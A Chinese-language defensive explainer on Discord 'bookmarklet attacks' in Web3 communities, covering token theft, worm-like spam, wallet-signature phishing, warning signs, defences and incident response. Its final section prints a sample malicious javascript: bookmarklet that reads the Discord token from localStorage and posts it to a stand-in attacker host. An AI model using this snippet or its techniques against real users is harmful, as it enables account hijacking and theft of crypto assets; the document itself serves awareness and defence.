书签攻击原理与防御
Web3 场景下的 Discord「书签攻击」原理与防御
黑客常借助 Discord 进行社工与链接投放,其中「书签攻击」(Bookmarklet Attack / 书签注入)是近年常见的一种前端攻击手法。它不依赖浏览器漏洞,而是利用用户“主动执行”的书签脚本,在用户浏览器上下文中执行恶意代码,从而劫持 Discord 会话、伪造消息、盗取令牌或引导签名钓鱼。
一、什么是「书签攻击」
定义:攻击者将一段
javascript:
开头的书签脚本(bookmarklet)伪装成“工具/功能/福利领取”的书签,让用户拖拽到浏览器书签栏并点击执行。触发条件:受害者在打开的目标站点(如 Discord Web、热门 NFT 镜像站、假的钱包工具页)中点击该书签,脚本就以当前页面权限执行。
常见伪装:
“一键切换 Discord 主题”、“一键清理频道通知”
“MoonShot 空投助手”、“NFT 批量领取/自动报价”
“Gas 优化器/钱包批量授权脚本”
“Discord 机器人开发调试工具”
二、攻击原理拆解
书签攻击的关键在于“在受害者浏览器、当前站点上下文执行代码”。针对 Discord/Web3 场景,常见目标与操作包括:
会话劫持与令牌窃取
Discord Web 会把 token 存在
localStorage
或通过 WebSocket 连接维护会话。恶意脚本可在
discord.com
页面上下文读取localStorage.token
,将其通过 HTTP/Discord Webhook exfiltrate(外传)。一旦攻击者拿到 token,可直接 API 调用冒充用户发消息、发链接、邀请他人、读取私信,快速扩散。
内容注入与社群扩散
利用已登录的会话,自动在多个频道/私信群发带毒链接或新的“书签脚本”,形成蠕虫式扩散。
伪装成管理员公告、空投链接、谷歌表单或“钱包工具”的短链接。
签名钓鱼与钱包授权诱导
打开恶意站点并注入 UI,引导用户连接钱包、签署“验证消息”,实则进行
permit
、setApprovalForAll
或链抽象钱包的“会话授权”。使用 WalletConnect 深链/二维码,诱导移动端签名。
跨站请求与接口滥用
在当前信任环境内调用 Discord 内部接口(如上传文件、变更昵称、邀请链接生成),绕过基础反滥用限制。
混淆与持久化
书签脚本通常高度混淆、压缩,动态从远程拉取第二阶段负载。
通过
history.pushState
、service worker
、或浏览器扩展侧载进一步固化,但书签本身不具持久性;用户不点就不执行。
三、攻击链常见路径
社工入口:Discord/Telegram/推特上看到“官方公告/限时空投”。
引导动作:让你“拖动此按钮到书签栏,点一下即可领取/启用”。
执行环境:你在
discord.com
或目标 DApp 标签页中点击书签。代码执行:脚本读取 token、扫描 DOM、调用 API、弹窗诱导连接钱包。
扩散与变现:冒充你继续传播;或引导恶意签名/授权,转走资产。
四、识别与自查
高风险信号
任何以
javascript:
开头的书签内容。让你拖拽“按钮/链接”到书签栏再点击的教程。
短链(bit.ly、tinyurl)+ 要求在 Discord Web 页面点击。
要求关闭安全插件、切换浏览器“开发者模式”。
本地自查
打开书签管理器,检查是否存在
javascript:
书签。浏览器控制台 Network 面板看是否向陌生域名/Discord Webhook 发起请求。
检查 Discord 是否出现异常群发、自动发送邀请、自动@全体。
钱包授权页面查看是否多出可疑的
Permit2
、Approval
记录。
五、防御与最佳实践(可与AdGuard 配合使用)
1) 个人防护
绝不在生产账号的 Discord/Web3 DApp 页面点击任何
javascript:
书签。将书签栏隐藏或建立“隔离浏览器配置文件”:
工作/社交用一个浏览器配置;
链上签名与资产操作用另一个干净配置,禁社交登录与插件。
使用硬件钱包,启用“只读/观察”钱包区分查看与签名环境。
签名前核对:合约地址、函数名、权限范围,拒绝“无限授权、跨链权限、批量授权”。
对任何“批量领取/批量报价脚本”保持怀疑;优先使用官方站点与开源工具。
开启 Discord 的二次验证(2FA),并定期更换密码;被怀疑泄露时立即“全端登出”(Reset Sessions)。
2) 团队与社区治理
频道安全策略:
仅白名单角色可发链接;新人需冷却期与人工审核。
自动检测
javascript:
、Discord Webhook、可疑短链;启用反钓鱼机器人(例如 Blockaid/Wallet Guard 提供的链接检查服务)。
公告验证:
重要链接只通过已验证域名、签名公告发布;提供固定“安全页/清单”。
对“拖拽到书签栏”的做法发布明确禁令与科普。
事件响应预案:
一旦发现被劫持账号群发,立刻限流、禁言、撤回,并置顶风险提示。
提供资产应急指引:撤销授权、冻结挂单、上报可疑合约地址。
3) 浏览器与技术层面缓解
关闭“允许书签执行脚本”的习惯性使用;现代浏览器虽默认允许 bookmarklet,但可通过政策、扩展进行拦截或提示。
使用内容安全策略(CSP)与子资源完整性(SRI)保护你自己的网站,避免成为二跳投毒源。
安装可信的钓鱼检测扩展,对
javascript:
书签点击给出二次确认。
六、应急处置流程(已疑似中招)
立刻断网或关闭相关标签页,避免代码持续运行。
在 Discord:更改密码并强制登出所有设备;开启/重置 2FA。
在浏览器:清理可疑书签、清理缓存和本地存储;检查是否安装来路不明扩展。
在钱包:
用官方或可信工具撤销最近的授权(如 Revoke.cash、Etherscan Token Approvals)。
替换受影响钱包为新助记词;将剩余资产转移至冷钱包。
在社区:上报所在服务器管理员,撤回你账户发出的可疑消息,发布风险提示。
取证与上报:保留网络请求、可疑脚本、交易哈希;向平台安全团队/执法机构报案。
切断 + 改密 + 清除 + 取证发布
七、示例:恶意书签的简单形态
以下仅用于识别示例,勿执行:
javascript:(function(){
try{
const token = localStorage.getItem('token');
fetch('https://attacker.example/exfil', {
method: 'POST',
headers: {'Content-Type':'application/json'},
body: JSON.stringify({token, url: location.href, ua: navigator.userAgent})
});
// 后续:自动发消息/拉取二阶段载荷等
}catch(e){}
})();
看到 javascript:
且会读取 localStorage
、调用 fetch
外传,就应立刻警惕。